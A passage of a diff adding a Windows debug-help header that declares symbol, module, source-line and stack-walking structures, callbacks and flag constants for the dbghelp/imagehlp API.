ReservedNumberOfFpoTableEntries; + PFPO_DATA ReservedFpoTableEntries; + + DWORD SizeOfCoffSymbols; + PIMAGE_COFF_SYMBOLS_HEADER CoffSymbols; + + DWORD ReservedSizeOfCodeViewSymbols; + PVOID ReservedCodeViewSymbols; + + PSTR ImageFilePath; + PSTR ImageFileName; + PSTR ReservedDebugFilePath; + + DWORD ReservedTimeDateStamp; + + BOOL ReservedRomImage; + PIMAGE_DEBUG_DIRECTORY ReservedDebugDirectory; + DWORD ReservedNumberOfDebugDirectories; + + DWORD ReservedOriginalFunctionTableBaseAddress; + + DWORD Reserved[ 2 ]; + +} IMAGE_DEBUG_INFORMATION, *PIMAGE_DEBUG_INFORMATION; + + +PIMAGE_DEBUG_INFORMATION +IMAGEAPI +MapDebugInformation( + __in_opt HANDLE FileHandle, + __in PCSTR FileName, + __in_opt PCSTR SymbolPath, + __in ULONG ImageBase + ); + +BOOL +IMAGEAPI +UnmapDebugInformation( + __out_xcount(unknown) PIMAGE_DEBUG_INFORMATION DebugInfo + ); + +#endif + +BOOL +IMAGEAPI +SearchTreeForFile( + __in PCSTR RootPath, + __in PCSTR InputPathName, + __out_ecount(MAX_PATH + 1) PSTR OutputPathBuffer + ); + +BOOL +IMAGEAPI +SearchTreeForFileW( + __in PCWSTR RootPath, + __in PCWSTR InputPathName, + __out_ecount(MAX_PATH + 1) PWSTR OutputPathBuffer + ); + +typedef BOOL +(CALLBACK *PENUMDIRTREE_CALLBACK)( + __in PCSTR FilePath, + __in_opt PVOID CallerData + ); + +BOOL +IMAGEAPI +EnumDirTree( + __in_opt HANDLE hProcess, + __in PCSTR RootPath, + __in PCSTR InputPathName, + __out_ecount_opt(MAX_PATH + 1) PSTR OutputPathBuffer, + __in_opt PENUMDIRTREE_CALLBACK cb, + __in_opt PVOID data + ); + +typedef BOOL +(CALLBACK *PENUMDIRTREE_CALLBACKW)( + __in PCWSTR FilePath, + __in_opt PVOID CallerData + ); + +BOOL +IMAGEAPI +EnumDirTreeW( + __in_opt HANDLE hProcess, + __in PCWSTR RootPath, + __in PCWSTR InputPathName, + __out_ecount_opt(MAX_PATH + 1) PWSTR OutputPathBuffer, + __in_opt PENUMDIRTREE_CALLBACKW cb, + __in_opt PVOID data + ); + +BOOL +IMAGEAPI +MakeSureDirectoryPathExists( + __in PCSTR DirPath + ); + +// +// UnDecorateSymbolName Flags +// + +#define UNDNAME_COMPLETE (0x0000) // Enable full undecoration +#define UNDNAME_NO_LEADING_UNDERSCORES (0x0001) // Remove leading underscores from MS extended keywords +#define UNDNAME_NO_MS_KEYWORDS (0x0002) // Disable expansion of MS extended keywords +#define UNDNAME_NO_FUNCTION_RETURNS (0x0004) // Disable expansion of return type for primary declaration +#define UNDNAME_NO_ALLOCATION_MODEL (0x0008) // Disable expansion of the declaration model +#define UNDNAME_NO_ALLOCATION_LANGUAGE (0x0010) // Disable expansion of the declaration language specifier +#define UNDNAME_NO_MS_THISTYPE (0x0020) // NYI Disable expansion of MS keywords on the 'this' type for primary declaration +#define UNDNAME_NO_CV_THISTYPE (0x0040) // NYI Disable expansion of CV modifiers on the 'this' type for primary declaration +#define UNDNAME_NO_THISTYPE (0x0060) // Disable all modifiers on the 'this' type +#define UNDNAME_NO_ACCESS_SPECIFIERS (0x0080) // Disable expansion of access specifiers for members +#define UNDNAME_NO_THROW_SIGNATURES (0x0100) // Disable expansion of 'throw-signatures' for functions and pointers to functions +#define UNDNAME_NO_MEMBER_TYPE (0x0200) // Disable expansion of 'static' or 'virtual'ness of members +#define UNDNAME_NO_RETURN_UDT_MODEL (0x0400) // Disable expansion of MS model for UDT returns +#define UNDNAME_32_BIT_DECODE (0x0800) // Undecorate 32-bit decorated names +#define UNDNAME_NAME_ONLY (0x1000) // Crack only the name for primary declaration; + // return just [scope::]name. Does expand template params +#define UNDNAME_NO_ARGUMENTS (0x2000) // Don't undecorate arguments to function +#define UNDNAME_NO_SPECIAL_SYMS (0x4000) // Don't undecorate special names (v-table, vcall, vector xxx, metatype, etc) + +DWORD +IMAGEAPI +WINAPI +UnDecorateSymbolName( + __in PCSTR name, + __out_ecount(maxStringLength) PSTR outputString, + __in DWORD maxStringLength, + __in DWORD flags + ); + +DWORD +IMAGEAPI +WINAPI +UnDecorateSymbolNameW( + __in PCWSTR name, + __out_ecount(maxStringLength) PWSTR outputString, + __in DWORD maxStringLength, + __in DWORD flags + ); + +// +// these values are used for synthesized file types +// that can be passed in as image headers instead of +// the standard ones from ntimage.h +// + +#define DBHHEADER_DEBUGDIRS 0x1 +#define DBHHEADER_CVMISC 0x2 +#define DBHHEADER_PDBGUID 0x3 +typedef struct _MODLOAD_DATA { + DWORD ssize; // size of this struct + DWORD ssig; // signature identifying the passed data + PVOID data; // pointer to passed data + DWORD size; // size of passed data + DWORD flags; // options +} MODLOAD_DATA, *PMODLOAD_DATA; + +typedef struct _MODLOAD_CVMISC { + DWORD oCV; // ofset to the codeview record + size_t cCV; // size of the codeview record + DWORD oMisc; // offset to the misc record + size_t cMisc; // size of the misc record + DWORD dtImage; // datetime stamp of the image + DWORD cImage; // size of the image +} MODLOAD_CVMISC, *PMODLOAD_CVMISC; + +typedef struct _MODLOAD_PDBGUID_PDBAGE { + GUID PdbGuid; // Pdb Guid + DWORD PdbAge; // Pdb Age +} MODLOAD_PDBGUID_PDBAGE, *PMODLOAD_PDBGUID_PDBAGE; + +// +// StackWalking API +// + +typedef enum { + AddrMode1616, + AddrMode1632, + AddrModeReal, + AddrModeFlat +} ADDRESS_MODE; + +typedef struct _tagADDRESS64 { + DWORD64 Offset; + WORD Segment; + ADDRESS_MODE Mode; +} ADDRESS64, *LPADDRESS64; + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define ADDRESS ADDRESS64 +#define LPADDRESS LPADDRESS64 +#else +typedef struct _tagADDRESS { + DWORD Offset; + WORD Segment; + ADDRESS_MODE Mode; +} ADDRESS, *LPADDRESS; + +__inline +void +Address32To64( + __in LPADDRESS a32, + __out LPADDRESS64 a64 + ) +{ + a64->Offset = (ULONG64)(LONG64)(LONG)a32->Offset; + a64->Segment = a32->Segment; + a64->Mode = a32->Mode; +} + +__inline +void +Address64To32( + __in LPADDRESS64 a64, + __out LPADDRESS a32 + ) +{ + a32->Offset = (ULONG)a64->Offset; + a32->Segment = a64->Segment; + a32->Mode = a64->Mode; +} +#endif + +// +// This structure is included in the STACKFRAME structure, +// and is used to trace through usermode callbacks in a thread's +// kernel stack. The values must be copied by the kernel debugger +// from the DBGKD_GET_VERSION and WAIT_STATE_CHANGE packets. +// + +// +// New KDHELP structure for 64 bit system support. +// This structure is preferred in new code. +// +typedef struct _KDHELP64 { + + // + // address of kernel thread object, as provided in the + // WAIT_STATE_CHANGE packet. + // + DWORD64 Thread; + + // + // offset in thread object to pointer to the current callback frame + // in kernel stack. + // + DWORD ThCallbackStack; + + // + // offset in thread object to pointer to the current callback backing + // store frame in kernel stack. + // + DWORD ThCallbackBStore; + + // + // offsets to values in frame: + // + // address of next callback frame + DWORD NextCallback; + + // address of saved frame pointer (if applicable) + DWORD FramePointer; + + + // + // Address of the kernel function that calls out to user mode + // + DWORD64 KiCallUserMode; + + // + // Address of the user mode dispatcher function + // + DWORD64 KeUserCallbackDispatcher; + + // + // Lowest kernel mode address + // + DWORD64 SystemRangeStart; + + // + // Address of the user mode exception dispatcher function. + // Added in API version 10. + // + DWORD64 KiUserExceptionDispatcher; + + // + // Stack bounds, added in API version 11. + // + DWORD64 StackBase; + DWORD64 StackLimit; + + DWORD64 Reserved[5]; + +} KDHELP64, *PKDHELP64; + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define KDHELP KDHELP64 +#define PKDHELP PKDHELP64 +#else +typedef struct _KDHELP { + + // + // address of kernel thread object, as provided in the + // WAIT_STATE_CHANGE packet. + // + DWORD Thread; + + // + // offset in thread object to pointer to the current callback frame + // in kernel stack. + // + DWORD ThCallbackStack; + + // + // offsets to values in frame: + // + // address of next callback frame + DWORD NextCallback; + + // address of saved frame pointer (if applicable) + DWORD FramePointer; + + // + // Address of the kernel function that calls out to user mode + // + DWORD KiCallUserMode; + + // + // Address of the user mode dispatcher function + // + DWORD KeUserCallbackDispatcher; + + // + // Lowest kernel mode address + // + DWORD SystemRangeStart; + + // + // offset in thread object to pointer to the current callback backing + // store frame in kernel stack. + // + DWORD ThCallbackBStore; + + // + // Address of the user mode exception dispatcher function. + // Added in API version 10. + // + DWORD KiUserExceptionDispatcher; + + // + // Stack bounds, added in API version 11. + // + DWORD StackBase; + DWORD StackLimit; + + DWORD Reserved[5]; + +} KDHELP, *PKDHELP; + +__inline +void +KdHelp32To64( + __in PKDHELP p32, + __out PKDHELP64 p64 + ) +{ + p64->Thread = p32->Thread; + p64->ThCallbackStack = p32->ThCallbackStack; + p64->NextCallback = p32->NextCallback; + p64->FramePointer = p32->FramePointer; + p64->KiCallUserMode = p32->KiCallUserMode; + p64->KeUserCallbackDispatcher = p32->KeUserCallbackDispatcher; + p64->SystemRangeStart = p32->SystemRangeStart; + p64->KiUserExceptionDispatcher = p32->KiUserExceptionDispatcher; + p64->StackBase = p32->StackBase; + p64->StackLimit = p32->StackLimit; +} +#endif + +typedef struct _tagSTACKFRAME64 { + ADDRESS64 AddrPC; // program counter + ADDRESS64 AddrReturn; // return address + ADDRESS64 AddrFrame; // frame pointer + ADDRESS64 AddrStack; // stack pointer + ADDRESS64 AddrBStore; // backing store pointer + PVOID FuncTableEntry; // pointer to pdata/fpo or NULL + DWORD64 Params[4]; // possible arguments to the function + BOOL Far; // WOW far call + BOOL Virtual; // is this a virtual frame? + DWORD64 Reserved[3]; + KDHELP64 KdHelp; +} STACKFRAME64, *LPSTACKFRAME64; + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define STACKFRAME STACKFRAME64 +#define LPSTACKFRAME LPSTACKFRAME64 +#else +typedef struct _tagSTACKFRAME { + ADDRESS AddrPC; // program counter + ADDRESS AddrReturn; // return address + ADDRESS AddrFrame; // frame pointer + ADDRESS AddrStack; // stack pointer + PVOID FuncTableEntry; // pointer to pdata/fpo or NULL + DWORD Params[4]; // possible arguments to the function + BOOL Far; // WOW far call + BOOL Virtual; // is this a virtual frame? + DWORD Reserved[3]; + KDHELP KdHelp; + ADDRESS AddrBStore; // backing store pointer +} STACKFRAME, *LPSTACKFRAME; +#endif + + +typedef +BOOL +(__stdcall *PREAD_PROCESS_MEMORY_ROUTINE64)( + __in HANDLE hProcess, + __in DWORD64 qwBaseAddress, + __out_bcount(nSize) PVOID lpBuffer, + __in DWORD nSize, + __out LPDWORD lpNumberOfBytesRead + ); + +typedef +PVOID +(__stdcall *PFUNCTION_TABLE_ACCESS_ROUTINE64)( + __in HANDLE ahProcess, + __in DWORD64 AddrBase + ); + +typedef +DWORD64 +(__stdcall *PGET_MODULE_BASE_ROUTINE64)( + __in HANDLE hProcess, + __in DWORD64 Address + ); + +typedef +DWORD64 +(__stdcall *PTRANSLATE_ADDRESS_ROUTINE64)( + __in HANDLE hProcess, + __in HANDLE hThread, + __in LPADDRESS64 lpaddr + ); + +BOOL +IMAGEAPI +StackWalk64( + __in DWORD MachineType, + __in HANDLE hProcess, + __in HANDLE hThread, + __inout LPSTACKFRAME64 StackFrame, + __inout PVOID ContextRecord, + __in_opt PREAD_PROCESS_MEMORY_ROUTINE64 ReadMemoryRoutine, + __in_opt PFUNCTION_TABLE_ACCESS_ROUTINE64 FunctionTableAccessRoutine, + __in_opt PGET_MODULE_BASE_ROUTINE64 GetModuleBaseRoutine, + __in_opt PTRANSLATE_ADDRESS_ROUTINE64 TranslateAddress + ); + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) + +#define PREAD_PROCESS_MEMORY_ROUTINE PREAD_PROCESS_MEMORY_ROUTINE64 +#define PFUNCTION_TABLE_ACCESS_ROUTINE PFUNCTION_TABLE_ACCESS_ROUTINE64 +#define PGET_MODULE_BASE_ROUTINE PGET_MODULE_BASE_ROUTINE64 +#define PTRANSLATE_ADDRESS_ROUTINE PTRANSLATE_ADDRESS_ROUTINE64 + +#define StackWalk StackWalk64 + +#else + +typedef +BOOL +(__stdcall *PREAD_PROCESS_MEMORY_ROUTINE)( + __in HANDLE hProcess, + __in DWORD lpBaseAddress, + __out_bcount(nSize) PVOID lpBuffer, + __in DWORD nSize, + __out PDWORD lpNumberOfBytesRead + ); + +typedef +PVOID +(__stdcall *PFUNCTION_TABLE_ACCESS_ROUTINE)( + __in HANDLE hProcess, + __in DWORD AddrBase + ); + +typedef +DWORD +(__stdcall *PGET_MODULE_BASE_ROUTINE)( + __in HANDLE hProcess, + __in DWORD Address + ); + +typedef +DWORD +(__stdcall *PTRANSLATE_ADDRESS_ROUTINE)( + __in HANDLE hProcess, + __in HANDLE hThread, + __out LPADDRESS lpaddr + ); + +BOOL +IMAGEAPI +StackWalk( + DWORD MachineType, + __in HANDLE hProcess, + __in HANDLE hThread, + __inout LPSTACKFRAME StackFrame, + __inout PVOID ContextRecord, + __in_opt PREAD_PROCESS_MEMORY_ROUTINE ReadMemoryRoutine, + __in_opt PFUNCTION_TABLE_ACCESS_ROUTINE FunctionTableAccessRoutine, + __in_opt PGET_MODULE_BASE_ROUTINE GetModuleBaseRoutine, + __in_opt PTRANSLATE_ADDRESS_ROUTINE TranslateAddress + ); + +#endif + + +#define API_VERSION_NUMBER 11 + +typedef struct API_VERSION { + USHORT MajorVersion; + USHORT MinorVersion; + USHORT Revision; + USHORT Reserved; +} API_VERSION, *LPAPI_VERSION; + +LPAPI_VERSION +IMAGEAPI +ImagehlpApiVersion( + VOID + ); + +LPAPI_VERSION +IMAGEAPI +ImagehlpApiVersionEx( + __in LPAPI_VERSION AppVersion + ); + +DWORD +IMAGEAPI +GetTimestampForLoadedLibrary( + __in HMODULE Module + ); + +// +// typedefs for function pointers +// +typedef BOOL +(CALLBACK *PSYM_ENUMMODULES_CALLBACK64)( + __in PCSTR ModuleName, + __in DWORD64 BaseOfDll, + __in_opt PVOID UserContext + ); + +typedef BOOL +(CALLBACK *PSYM_ENUMMODULES_CALLBACKW64)( + __in PCWSTR ModuleName, + __in DWORD64 BaseOfDll, + __in_opt PVOID UserContext + ); + +typedef BOOL +(CALLBACK *PENUMLOADED_MODULES_CALLBACK64)( + __in PCSTR ModuleName, + __in DWORD64 ModuleBase, + __in ULONG ModuleSize, + __in_opt PVOID UserContext + ); + +typedef BOOL +(CALLBACK *PENUMLOADED_MODULES_CALLBACKW64)( + __in PCWSTR ModuleName, + __in DWORD64 ModuleBase, + __in ULONG ModuleSize, + __in_opt PVOID UserContext + ); + +typedef BOOL +(CALLBACK *PSYM_ENUMSYMBOLS_CALLBACK64)( + __in PCSTR SymbolName, + __in DWORD64 SymbolAddress, + __in ULONG SymbolSize, + __in_opt PVOID UserContext + ); + +typedef BOOL +(CALLBACK *PSYM_ENUMSYMBOLS_CALLBACK64W)( + __in PCWSTR SymbolName, + __in DWORD64 SymbolAddress, + __in ULONG SymbolSize, + __in_opt PVOID UserContext + ); + +typedef BOOL +(CALLBACK *PSYMBOL_REGISTERED_CALLBACK64)( + __in HANDLE hProcess, + __in ULONG ActionCode, + __in_opt ULONG64 CallbackData, + __in_opt ULONG64 UserContext + ); + +typedef +PVOID +(CALLBACK *PSYMBOL_FUNCENTRY_CALLBACK)( + __in HANDLE hProcess, + __in DWORD AddrBase, + __in_opt PVOID UserContext + ); + +typedef +PVOID +(CALLBACK *PSYMBOL_FUNCENTRY_CALLBACK64)( + __in HANDLE hProcess, + __in ULONG64 AddrBase, + __in ULONG64 UserContext + ); + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) + +#define PSYM_ENUMMODULES_CALLBACK PSYM_ENUMMODULES_CALLBACK64 +#define PSYM_ENUMSYMBOLS_CALLBACK PSYM_ENUMSYMBOLS_CALLBACK64 +#define PSYM_ENUMSYMBOLS_CALLBACKW PSYM_ENUMSYMBOLS_CALLBACK64W +#define PENUMLOADED_MODULES_CALLBACK PENUMLOADED_MODULES_CALLBACK64 +#define PSYMBOL_REGISTERED_CALLBACK PSYMBOL_REGISTERED_CALLBACK64 +#define PSYMBOL_FUNCENTRY_CALLBACK PSYMBOL_FUNCENTRY_CALLBACK64 + +#else + +typedef BOOL +(CALLBACK *PSYM_ENUMMODULES_CALLBACK)( + __in PCSTR ModuleName, + __in ULONG BaseOfDll, + __in_opt PVOID UserContext + ); + +typedef BOOL +(CALLBACK *PSYM_ENUMSYMBOLS_CALLBACK)( + __in PCSTR SymbolName, + __in ULONG SymbolAddress, + __in ULONG SymbolSize, + __in_opt PVOID UserContext + ); + +typedef BOOL +(CALLBACK *PSYM_ENUMSYMBOLS_CALLBACKW)( + __in PCWSTR SymbolName, + __in ULONG SymbolAddress, + __in ULONG SymbolSize, + __in_opt PVOID UserContext + ); + +typedef BOOL +(CALLBACK *PENUMLOADED_MODULES_CALLBACK)( + __in PCSTR ModuleName, + __in ULONG ModuleBase, + __in ULONG ModuleSize, + __in_opt PVOID UserContext + ); + +typedef BOOL +(CALLBACK *PSYMBOL_REGISTERED_CALLBACK)( + __in HANDLE hProcess, + __in ULONG ActionCode, + __in_opt PVOID CallbackData, + __in_opt PVOID UserContext + ); + +#endif + + +// values found in SYMBOL_INFO.Tag +// +// This was taken from cvconst.h and should +// not override any values found there. +// +// #define _NO_CVCONST_H_ if you don't +// have access to that file... + +#ifdef _NO_CVCONST_H + +// DIA enums + +enum SymTagEnum +{ + SymTagNull, + SymTagExe, + SymTagCompiland, + SymTagCompilandDetails, + SymTagCompilandEnv, + SymTagFunction, + SymTagBlock, + SymTagData, + SymTagAnnotation, + SymTagLabel, + SymTagPublicSymbol, + SymTagUDT, + SymTagEnum, + SymTagFunctionType, + SymTagPointerType, + SymTagArrayType, + SymTagBaseType, + SymTagTypedef, + SymTagBaseClass, + SymTagFriend, + SymTagFunctionArgType, + SymTagFuncDebugStart, + SymTagFuncDebugEnd, + SymTagUsingNamespace, + SymTagVTableShape, + SymTagVTable, + SymTagCustom, + SymTagThunk, + SymTagCustomType, + SymTagManagedType, + SymTagDimension, + SymTagMax +}; + +#endif + +// +// flags found in SYMBOL_INFO.Flags +// + +#define SYMFLAG_VALUEPRESENT 0x00000001 +#define SYMFLAG_REGISTER 0x00000008 +#define SYMFLAG_REGREL 0x00000010 +#define SYMFLAG_FRAMEREL 0x00000020 +#define SYMFLAG_PARAMETER 0x00000040 +#define SYMFLAG_LOCAL 0x00000080 +#define SYMFLAG_CONSTANT 0x00000100 +#define SYMFLAG_EXPORT 0x00000200 +#define SYMFLAG_FORWARDER 0x00000400 +#define SYMFLAG_FUNCTION 0x00000800 +#define SYMFLAG_VIRTUAL 0x00001000 +#define SYMFLAG_THUNK 0x00002000 +#define SYMFLAG_TLSREL 0x00004000 +#define SYMFLAG_SLOT 0x00008000 +#define SYMFLAG_ILREL 0x00010000 +#define SYMFLAG_METADATA 0x00020000 +#define SYMFLAG_CLR_TOKEN 0x00040000 + +// this resets SymNext/Prev to the beginning +// of the module passed in the address field + +#define SYMFLAG_RESET 0x80000000 + +// +// symbol type enumeration +// +typedef enum { + SymNone = 0, + SymCoff, + SymCv, + SymPdb, + SymExport, + SymDeferred, + SymSym, // .sym file + SymDia, + SymVirtual, + NumSymTypes +} SYM_TYPE; + +// +// symbol data structure +// + +typedef struct _IMAGEHLP_SYMBOL64 { + DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_SYMBOL64) + DWORD64 Address; // virtual address including dll base address + DWORD Size; // estimated size of symbol, can be zero + DWORD Flags; // info about the symbols, see the SYMF defines + DWORD MaxNameLength; // maximum size of symbol name in 'Name' + CHAR Name[1]; // symbol name (null terminated string) +} IMAGEHLP_SYMBOL64, *PIMAGEHLP_SYMBOL64; + +typedef struct _IMAGEHLP_SYMBOL64_PACKAGE { + IMAGEHLP_SYMBOL64 sym; + CHAR name[MAX_SYM_NAME + 1]; +} IMAGEHLP_SYMBOL64_PACKAGE, *PIMAGEHLP_SYMBOL64_PACKAGE; + +typedef struct _IMAGEHLP_SYMBOLW64 { + DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_SYMBOLW64) + DWORD64 Address; // virtual address including dll base address + DWORD Size; // estimated size of symbol, can be zero + DWORD Flags; // info about the symbols, see the SYMF defines + DWORD MaxNameLength; // maximum size of symbol name in 'Name' + WCHAR Name[1]; // symbol name (null terminated string) +} IMAGEHLP_SYMBOLW64, *PIMAGEHLP_SYMBOLW64; + +typedef struct _IMAGEHLP_SYMBOLW64_PACKAGE { + IMAGEHLP_SYMBOLW64 sym; + WCHAR name[MAX_SYM_NAME + 1]; +} IMAGEHLP_SYMBOLW64_PACKAGE, *PIMAGEHLP_SYMBOLW64_PACKAGE; + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) + + #define IMAGEHLP_SYMBOL IMAGEHLP_SYMBOL64 + #define PIMAGEHLP_SYMBOL PIMAGEHLP_SYMBOL64 + #define IMAGEHLP_SYMBOL_PACKAGE IMAGEHLP_SYMBOL64_PACKAGE + #define PIMAGEHLP_SYMBOL_PACKAGE PIMAGEHLP_SYMBOL64_PACKAGE + #define IMAGEHLP_SYMBOLW IMAGEHLP_SYMBOLW64 + #define PIMAGEHLP_SYMBOLW PIMAGEHLP_SYMBOLW64 + #define IMAGEHLP_SYMBOLW_PACKAGE IMAGEHLP_SYMBOLW64_PACKAGE + #define PIMAGEHLP_SYMBOLW_PACKAGE PIMAGEHLP_SYMBOLW64_PACKAGE + +#else + + typedef struct _IMAGEHLP_SYMBOL { + DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_SYMBOL) + DWORD Address; // virtual address including dll base address + DWORD Size; // estimated size of symbol, can be zero + DWORD Flags; // info about the symbols, see the SYMF defines + DWORD MaxNameLength; // maximum size of symbol name in 'Name' + CHAR Name[1]; // symbol name (null terminated string) + } IMAGEHLP_SYMBOL, *PIMAGEHLP_SYMBOL; + + typedef struct _IMAGEHLP_SYMBOL_PACKAGE { + IMAGEHLP_SYMBOL sym; + CHAR name[MAX_SYM_NAME + 1]; + } IMAGEHLP_SYMBOL_PACKAGE, *PIMAGEHLP_SYMBOL_PACKAGE; + + typedef struct _IMAGEHLP_SYMBOLW { + DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_SYMBOLW) + DWORD Address; // virtual address including dll base address + DWORD Size; // estimated size of symbol, can be zero + DWORD Flags; // info about the symbols, see the SYMF defines + DWORD MaxNameLength; // maximum size of symbol name in 'Name' + WCHAR Name[1]; // symbol name (null terminated string) + } IMAGEHLP_SYMBOLW, *PIMAGEHLP_SYMBOLW; + + typedef struct _IMAGEHLP_SYMBOLW_PACKAGE { + IMAGEHLP_SYMBOLW sym; + WCHAR name[MAX_SYM_NAME + 1]; + } IMAGEHLP_SYMBOLW_PACKAGE, *PIMAGEHLP_SYMBOLW_PACKAGE; + +#endif + +// +// module data structure +// + +typedef struct _IMAGEHLP_MODULE64 { + DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_MODULE64) + DWORD64 BaseOfImage; // base load address of module + DWORD ImageSize; // virtual size of the loaded module + DWORD TimeDateStamp; // date/time stamp from pe header + DWORD CheckSum; // checksum from the pe header + DWORD NumSyms; // number of symbols in the symbol table + SYM_TYPE SymType; // type of symbols loaded + CHAR ModuleName[32]; // module name + CHAR ImageName[256]; // image name + CHAR LoadedImageName[256]; // symbol file name + // new elements: 07-Jun-2002 + CHAR LoadedPdbName[256]; // pdb file name + DWORD CVSig; // Signature of the CV record in the debug directories + CHAR CVData[MAX_PATH * 3]; // Contents of the CV record + DWORD PdbSig; // Signature of PDB + GUID PdbSig70; // Signature of PDB (VC 7 and up) + DWORD PdbAge; // DBI age of pdb + BOOL PdbUnmatched; // loaded an unmatched pdb + BOOL DbgUnmatched; // loaded an unmatched dbg + BOOL LineNumbers; // we have line number information + BOOL GlobalSymbols; // we have internal symbol information + BOOL TypeInfo; // we have type information + // new elements: 17-Dec-2003 + BOOL SourceIndexed; // pdb supports source server + BOOL Publics; // contains public symbols +} IMAGEHLP_MODULE64, *PIMAGEHLP_MODULE64; + +typedef struct _IMAGEHLP_MODULEW64 { + DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_MODULE64) + DWORD64 BaseOfImage; // base load address of module + DWORD ImageSize; // virtual size of the loaded module + DWORD TimeDateStamp; // date/time stamp from pe header + DWORD CheckSum; // checksum from the pe header + DWORD NumSyms; // number of symbols in the symbol table + SYM_TYPE SymType; // type of symbols loaded + WCHAR ModuleName[32]; // module name + WCHAR ImageName[256]; // image name + // new elements: 07-Jun-2002 + WCHAR LoadedImageName[256]; // symbol file name + WCHAR LoadedPdbName[256]; // pdb file name + DWORD CVSig; // Signature of the CV record in the debug directories + WCHAR CVData[MAX_PATH * 3]; // Contents of the CV record + DWORD PdbSig; // Signature of PDB + GUID PdbSig70; // Signature of PDB (VC 7 and up) + DWORD PdbAge; // DBI age of pdb + BOOL PdbUnmatched; // loaded an unmatched pdb + BOOL DbgUnmatched; // loaded an unmatched dbg + BOOL LineNumbers; // we have line number information + BOOL GlobalSymbols; // we have internal symbol information + BOOL TypeInfo; // we have type information + // new elements: 17-Dec-2003 + BOOL SourceIndexed; // pdb supports source server + BOOL Publics; // contains public symbols +} IMAGEHLP_MODULEW64, *PIMAGEHLP_MODULEW64; + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define IMAGEHLP_MODULE IMAGEHLP_MODULE64 +#define PIMAGEHLP_MODULE PIMAGEHLP_MODULE64 +#define IMAGEHLP_MODULEW IMAGEHLP_MODULEW64 +#define PIMAGEHLP_MODULEW PIMAGEHLP_MODULEW64 +#else +typedef struct _IMAGEHLP_MODULE { + DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_MODULE) + DWORD BaseOfImage; // base load address of module + DWORD ImageSize; // virtual size of the loaded module + DWORD TimeDateStamp; // date/time stamp from pe header + DWORD CheckSum; // checksum from the pe header + DWORD NumSyms; // number of symbols in the symbol table + SYM_TYPE SymType; // type of symbols loaded + CHAR ModuleName[32]; // module name + CHAR ImageName[256]; // image name + CHAR LoadedImageName[256]; // symbol file name +} IMAGEHLP_MODULE, *PIMAGEHLP_MODULE; + +typedef struct _IMAGEHLP_MODULEW { + DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_MODULE) + DWORD BaseOfImage; // base load address of module + DWORD ImageSize; // virtual size of the loaded module + DWORD TimeDateStamp; // date/time stamp from pe header + DWORD CheckSum; // checksum from the pe header + DWORD NumSyms; // number of symbols in the symbol table + SYM_TYPE SymType; // type of symbols loaded + WCHAR ModuleName[32]; // module name + WCHAR ImageName[256]; // image name + WCHAR LoadedImageName[256]; // symbol file name +} IMAGEHLP_MODULEW, *PIMAGEHLP_MODULEW; +#endif + +// +// source file line data structure +// + +typedef struct _IMAGEHLP_LINE64 { + DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_LINE64) + PVOID Key; // internal + DWORD LineNumber; // line number in file + PCHAR FileName; // full filename + DWORD64 Address; // first instruction of line +} IMAGEHLP_LINE64, *PIMAGEHLP_LINE64; + +typedef struct _IMAGEHLP_LINEW64 { + DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_LINE64) + PVOID Key; // internal + DWORD LineNumber; // line number in file + PWSTR FileName; // full filename + DWORD64 Address; // first instruction of line +} IMAGEHLP_LINEW64, *PIMAGEHLP_LINEW64; + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define IMAGEHLP_LINE IMAGEHLP_LINE64 +#define PIMAGEHLP_LINE PIMAGEHLP_LINE64 +#else +typedef struct _IMAGEHLP_LINE { + DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_LINE) + PVOID Key; // internal + DWORD LineNumber; // line number in file + PCHAR FileName; // full filename + DWORD Address; // first instruction of line +} IMAGEHLP_LINE, *PIMAGEHLP_LINE; + +typedef struct _IMAGEHLP_LINEW { + DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_LINE64) + PVOID Key; // internal + DWORD LineNumber; // line number in file + PCHAR FileName; // full filename + DWORD64 Address; // first instruction of line +} IMAGEHLP_LINEW, *PIMAGEHLP_LINEW; +#endif + +// +// source file structure +// + +typedef struct _SOURCEFILE { + DWORD64 ModBase; // base address of loaded module + PCHAR FileName; // full filename of source +} SOURCEFILE, *PSOURCEFILE; + +typedef struct _SOURCEFILEW { + DWORD64 ModBase; // base address of loaded module + PWSTR FileName; // full filename of source +} SOURCEFILEW, *PSOURCEFILEW; + +// +// data structures used for registered symbol callbacks +// + +#define CBA_DEFERRED_SYMBOL_LOAD_START 0x00000001 +#define CBA_DEFERRED_SYMBOL_LOAD_COMPLETE 0x00000002 +#define CBA_DEFERRED_SYMBOL_LOAD_FAILURE 0x00000003 +#define CBA_SYMBOLS_UNLOADED 0x00000004 +#define CBA_DUPLICATE_SYMBOL 0x00000005 +#define CBA_READ_MEMORY 0x00000006 +#define CBA_DEFERRED_SYMBOL_LOAD_CANCEL 0x00000007 +#define CBA_SET_OPTIONS 0x00000008 +#define CBA_EVENT 0x00000010 +#define CBA_DEFERRED_SYMBOL_LOAD_PARTIAL 0x00000020 +#define CBA_DEBUG_INFO 0x10000000 +#define CBA_SRCSRV_INFO 0x20000000 +#define CBA_SRCSRV_EVENT 0x40000000 + +typedef struct _IMAGEHLP_CBA_READ_MEMORY { + DWORD64 addr; // address to read from + PVOID buf; // buffer to read to + DWORD bytes; // amount of bytes to read + DWORD *bytesread; // pointer to store amount of bytes read +} IMAGEHLP_CBA_READ_MEMORY, *PIMAGEHLP_CBA_READ_MEMORY; + +enum { + sevInfo = 0, + 